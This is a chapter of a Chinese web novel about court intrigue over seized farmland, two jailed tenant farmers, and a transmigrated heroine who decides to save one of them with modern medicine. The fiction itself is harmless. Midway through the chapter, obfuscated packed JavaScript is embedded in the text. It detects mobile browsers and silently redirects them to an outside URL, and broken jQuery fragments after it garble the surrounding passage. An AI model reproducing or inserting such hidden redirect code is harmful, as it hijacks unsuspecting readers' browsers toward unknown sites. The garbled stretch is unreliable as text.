15. 逆天而行

作品:《穿越后和男主共享了血条

    来人将早晨朝堂上发生的事,一字不落地转述给了她。


    “不过就是占了些田,多用了些佃户,有什么紧要的。”本以为又是些什么卖官鬻爵之事,说了半天,竟是这等贱民的小事。


    “告诉哥哥,本宫都晓得了,柏儿是我亲儿子,我岂会不放在心上。”


    “贵妃娘娘,将军叫奴才转告您,藩王侵占良田,盘剥佃户这样的事情,在我朝太宗皇帝时期发生过。太宗皇帝将那藩王削了护卫,革了禄米,令其不得干政,终身囚于王府。”


    “哐”的一声,贵妃手中茶盏摔落在地。


    孙贵妃精致的面容之上,已露出惊恐之色,“哪位藩王,本宫在宫里从未听说过。”


    “娘娘恕罪,奴才只是照将军原话,转述给娘娘。”


    直到孙天戈派来的人退下了,孙贵妃还未从那藩王的故事中缓过来。


    “今日堂下二人已押入内卫司狱,你可有什么看法?”


    萧宇策一路随天律帝回到天长殿,方奉上热茶,考问便来了。


    “父皇,儿臣亦是藩王,此事应避嫌才是。”


    天律帝看着眼前的这个儿子,总是会想起年轻的自己。


    “如今,这是你分内的事。”天律帝向他甩去一块腰牌,上刻“提举皇城司”字样。


    “彦哥,你还撑得住吗!”自天律帝下令严查,二人便被扔进了内卫司狱。方挨了三十板子,又被一路拖行,再硬朗的身子也要扛不住。


    罗彦被扔在牢房的草堆上,气息已逐渐微弱。


    不一会儿,便听见他呢喃说道,“冷”,身体也开始哆嗦。流云伸手探向他的额头,滚烫得火烤一般。


    “来人啊!来人!有没有郎中,彦哥快不行了。”流云扒着牢门,却无一人理会他们。


    “怎的偏偏去了内卫司狱!”萧宇敬下了朝便直奔尹阁老府邸。


    “宣王稍安勿躁,不过是些佃户,未必查得到您头上。”


    “舅舅,都什么时候了,我怎么稍安勿躁,这两个人是怎么摸到登闻鼓去的,怎么一点消息都没有。干脆那三十板子,把人打死了多好。”


    尹守明没有回话,亲自给急得满屋子踱步的外甥沏了杯茶。


    此事,本不该发生,自川口郡传来佃户消失一事,天都这边便一直在防备着。登闻鼓一响,敲鼓之人就该被打死在当场。


    若不是萧宇策横插一脚,事情也不会变得如此棘手。挨板子的没死不说,还有一个竟未受刑。


    “不急,此事自有孙家人去忙活。”


    “孙家不过一家子蠢货。舅舅,你看那孙贵妃这么多年,依旧是头脑空空,被母妃哄得团团转。还有那孙天戈,仗着自己有些军功,更是嚣张跋扈,便是在天都也不知道收敛行事。”


    茶已泡好,正好入口,“正因为他们是蠢材,才要让他们去做。”


    萧宇敬此刻,却是没有心思去听舅舅的言外之意。


    川口郡庄田盘剥来的那些钱,确也大多进了他的口袋。这几年,萧宇柏的胃口是越来越大,他这边要花钱的地方又何尝不是越来越多。


    尹守明上前,将茶盏放在了他的手上,示意他冷静些。


    “皇城司乃陛下耳目,陛下私设。如今,陛下钦点皇城司严查,又亲自将人放在了内卫司狱。”


    话未说尽,萧宇敬却也明白了,此事碰不得。皇城司向来是父皇逆鳞,便是想打探消息也是没有那路子。


    “多谢舅舅提点。可川口郡的事……”


    “宣王勿扰,不过是个藩王贪污罢了,宣王可不曾就藩。”


    这外甥实在是担不起事来,便是这个年纪,遇到了些许小事,还是只会往尹府跑。


    倒也是好事,如今成年皇子中,仅他未就藩。一朝继位,可再保他尹氏百年荣光。


    “宣王如今需要担心的,不是远在川口郡的兴王,而是近在眼前的昭王。”兴王一事,说起来终归是川口郡内务之事,说破了天,也就是皇帝的荒唐儿子多贪了些。


    在税银账册上动手脚的是兴王,侵占良田、盘剥佃户的也是他,宣王远在天都,可什么都没干。


    只是这萧宇策怎的突然就出现了,先前收到的消息,可是德妃与昭王皆被幽禁于泽华殿。


    “彦哥,有人来了。”


    流云抹了眼泪,扑向牢门,“贵人,求贵人行个好,救救彦哥吧。”


    牢门被打开,他跪伏在地,上前抓住来人衣角,一个接一个的磕头,只求能救罗彦一命。


    “起来吧,郎中我已经带过来了。”萧宇策俯身,扶起了他。


    待抬起头来,流云方认出这是早上带他们进殿的王爷。


    “王爷!”自己先前竟一直扒着王爷的衣角落,他腿脚一软,又跪了下去。


    “提举大人,此人已发热,病情危重。小人拟定一方,若是今夜发热之症不退,怕就要熬不过去了。”郭济为皇城司私下招募郎中,已合作长久,对外伤救治颇有造诣。


    内卫司狱位处地下,潮湿闷热,便是寻常人在这地方待得也不大舒服,莫说是病人了。


    “邱勾当,如此小事有劳您特意陪同了。”萧宇策转过身去,向陪同而来的邱容说道。


    他低着头,看不清神色,“王爷如今已是提举,乃卑职长官,自是不辞辛劳。”


    勾当皇城司,本是一人之下,万人之上,整个皇城司的实际领导人,父皇真正的心腹。如今,父皇一声令下,勾当之上,多了自己这个提举,此人当真毫无波澜吗?


    “既如此,便有劳邱勾当,将此人送至我住的小院。”


    “下官领命。”邱容面不改色,领了命便下去安排。


    哦?这么听话。父皇将人下狱,如今自己要将人提走,竟一句多余的话不说,神色如常的就这么照办了。


    且看此人如何向父皇汇报,届时自然能知晓他的真正态度。


    吃完午饭,在后院中晒着太阳正要午睡的简觉,听见系统播报。


    【任务完成进度:60%。】


    连自己躺着任务进度也能涨,这男主当真是自驱力十足。想到这,她这午觉睡得也更踏实了些。


    “觉儿,就在院中睡下,也不怕着凉。”迷迷糊糊中,听见了萧宇策的声音。


    睁开眼,看见他就坐在榻边,手中拿着毯子正要给自己盖上。


    “我可不会得寻常风寒,便是得了也会好得很快。”前两天,祝家商船竟将她在东安郡的行李箱运了过来。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132120|195653||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有了这些行李,她才终于过上了好日子,古代的洗漱用品实在是不好用,不过睡衣材质倒是比她行李箱里的要好。


    “觉儿可有法子救治受外伤后发热的病人?”


    这听起来像是受伤之后感染引发的高烧,在古代确实是要命。


    箱子里有消炎药和退烧药,都是些常备的药物,自然可以救治。只是若是什么人都可以用上这超越时代的东西,岂不是要乱套了。


    她眉头微蹙,思索之后开口说道:“阿策,人各有命。我虽是方外之人,却也没有救死扶伤的本事。”


    萧宇策本也就是随口问一句,不料她回得如此认真。


    “是我唐突了,觉儿莫要在意。”


    他替她掖好毛毯,将遮阳的伞盖又调整了番,“方过了午时,觉儿可要再睡会儿。”


    “那病人是什么人?”饭后的困意已经消散,她坐起身来。


    “川口郡来的佃户,今日早朝时敲了登闻鼓,挨了三十板子。”


    难怪系统提示任务进度又多了10%。


    既然可以影响到系统任务进度,那也算是她复活游戏里的关联NPC,把药用在他们身上,应该也没什么问题。


    “带我去看看。”


    见萧宇策来了,郭济上前回话道:“提举大人,此人伤得太重。方才换药时,身后已是血肉模糊,皮肉同衣物粘连在了一处,便是上药也颇费了一番工夫。汤剂已喂他服下,却无起效,现如今已然是出气多、进气少了。”


    他在皇城司多年,便是勾当皇城司也不过是远远见过,如今这提举皇城司亲自吩咐治病,岂敢不尽心竭力。


    只是不曾想,好不容易在大人物面前露个脸,便把事情给办砸了,“提举大人恕罪,小人无用。”


    “起来吧,此事怨不得你。”


    简觉站在后头,瞧着床榻上的人呼吸微弱,脸色惨白,不由得动了恻隐之心。


    “王爷,王爷……”


    流云坐在地上,紧挨着罗彦,“彦哥,你说什么,我听不清?”泪水已经模糊了他的双眼,他的彦哥,就要这么死了。


    当初娘老子死的时候,他便觉得自己流干了眼泪。在庄子上再苦再痛,没再哭过。可今日,他仿佛又经历了一遍当初的离别之痛。


    “都退下吧。”萧宇策屏退了众人。


    “罗彦,本王答应你,一定照顾好你的家人。”他俯身上前,在罗彦耳边说道。


    “王爷,罗彦办事不力,未能……”自身后蔓延开来的疼痛叫他喘不上气来,头脑也浑浊不清,整个人如同坠入冰窖般。


    听到王爷的声音,他强撑着精神,想要同王爷说上几句话。却是话到了嘴边,连说出来的力气也没有。


    “你做得很好。”听到王爷安抚的话语,他这才有些放下心来,沉沉睡了过去。


    “这是东安郡王府的人?”简觉虽未上前,却也听得清楚。


    “是,自卢陌身死,他便在川口郡潜伏至今。”


    罗彦机敏能干,在他身边很是得力。川口郡情势复杂,需得这样的人去牵头,他才能放心。


    “既是你的人,我这有些药,兴许可以救他。只是,此药逆天而行,只能你我知晓。”